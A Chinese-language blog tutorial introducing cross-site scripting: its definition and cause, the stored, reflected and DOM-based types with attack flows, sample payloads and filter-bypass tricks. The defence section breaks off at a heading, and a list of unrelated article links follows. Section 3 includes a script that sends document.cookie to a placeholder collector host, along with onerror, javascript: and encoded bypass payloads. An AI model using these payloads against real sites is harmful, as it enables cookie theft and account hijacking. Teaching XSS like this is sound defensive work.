XSS(一)概述

文章目录

1、概述

1.1、定义

XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的Web安全漏洞,攻击者通过在目标网站中注入恶意JavaScript代码,当用户访问包含该恶意代码的页面时,浏览器会执行这段代码,从而实现攻击者的恶意目的。

  • 注意:为与CSS(层叠样式表)区分,故简称XSS而非CSS。

1.2、原理

Web应用程序未对用户输入的数据进行严格的验证、过滤或转义,导致攻击者输入的恶意脚本被当作合法代码嵌入到页面中,并被其他用户的浏览器解析执行。

  • 本质是"信任了不可信的输入",将用户输入的数据直接或间接输出到页面,未做安全处理。

2、XSS的分类

2.1、存储型

2.1.1、特点

恶意脚本被永久存储在目标网站的服务器中(如数据库、评论区、留言板等),所有访问该页面的用户都会触发恶意脚本的执行。

2.1.2 攻击流程

  1. 攻击者将恶意JavaScript代码注入到目标网站的可存储区域(如发布含恶意代码的评论);

  2. 目标网站将恶意代码存储到服务器数据库;

  3. 其他用户访问包含该恶意代码的页面时,网站从数据库读取恶意代码并输出到页面;

  4. 用户浏览器解析执行恶意代码,完成攻击。

2.2、反射型

2.2.1、特点

恶意脚本通过URL参数等方式注入,目标网站仅将其"反射"给用户浏览器执行,不会存储在服务器中,通常需要攻击者诱导用户点击恶意链接才能触发。

2.2.2、攻击流程

  1. 攻击者构造包含恶意JavaScript代码的URL;

  2. 通过邮件、短信、社交软件等方式诱导用户点击该恶意URL;

  3. 用户点击后,浏览器向目标网站发送请求,URL中的恶意代码被一同提交;

  4. 目标网站未对参数做安全处理,直接将恶意代码输出到页面;

  5. 用户浏览器执行恶意代码,完成攻击。

2.3、DOM型

2.3.1、特点

恶意脚本的注入和执行完全发生在客户端的DOM解析过程中,目标网站的服务器未参与数据的处理和输出,漏洞根源在于前端JavaScript代码对用户输入的处理不当。

2.3.2、攻击流程

  1. 攻击者构造包含恶意代码的URL(或诱导用户输入恶意代码);

  2. 用户访问URL或输入恶意代码后,前端JavaScript代码读取URL参数或用户输入的数据;

  3. 前端代码未对数据做安全处理,直接通过DOM操作(如innerHTML、document.write、document.cookie、document.referer、location.href等)将其插入到页面中;

  4. 浏览器解析DOM时执行恶意代码,完成攻击。

2.1、三种类型

类型 存储位置 触发方式 服务器参与
存储型 数据库 用户访问含恶意代码的页面即可触发
反射型 无(仅通过URL传递) 诱导用户点击恶意URL
DOM型 无(客户端DOM中) 用户访问恶意URL或输入恶意数据

3、XSS常见攻击手段

3.1、基础脚本注入

javascript 复制代码
<script>alert('XSS')</script> // 弹出提示,测试XSS是否存在
<script>document.location="http://ip/pikachu/pkxss/xcookie/cookie.php?cookie="+document.cookie</script>

3.2、利用HTML标签特性

javascript 复制代码
<img src=x onerror=alert('XSS')> // 图片加载失败时执行onerror事件中的脚本
<a href=javascript:alert('XSS')>点击我</a> // 点击链接时执行脚本
<script>confirm(1)</script>
<script>prompt(1)</script>
onclick='javascript:alert(xss)'

3.3、绕过技巧

  1. 大小写绕过:如,针对未区分大小写过滤的场景;
  2. 空格/注释绕过: 利用注释干扰过滤规则;
javascript 复制代码
如<script/*comment*/>alert('XSS') </script>
  1. 编码绕过:对脚本进行URL编码、HTML实体编码、Unicode编码等,如javascript:alert('XSS')可编码为javascript:%61%6C%65%72%74%28%27%58%53%53%27%29;

4、XSS防御

4.1、htmlspecialchars()函数

相关推荐
半梅芒果干44 分钟前
vue3 网站访问页面缓存优化
前端·javascript·缓存
lichong9511 小时前
android 使用 java 编写网络连通性检查
android·java·前端
孟祥_成都1 小时前
公司 React 应用感觉很慢,我把没必要的重复渲染砍掉了 40%!
前端
王大宇_1 小时前
word对比工具从入门到出门
前端·javascript
jackaso1 小时前
ES6 学习笔记2
前端·学习·es6
得物技术1 小时前
项目性能优化实践:深入FMP算法原理探索|得物技术
前端·算法
幼儿园的扛把子1 小时前
一次请求 Request failed with status code 400的解决之旅
前端
g***72701 小时前
解决 Tomcat 跨域问题 - Tomcat 配置静态文件和 Java Web 服务(Spring MVC Springboot)同时允许跨域
java·前端·spring
盟接之桥1 小时前
盟接之桥说制造:做新时代的“点火者”——从《星星之火,可以燎原》看制造者的信念与方法(供批评)
大数据·前端·人工智能·安全·制造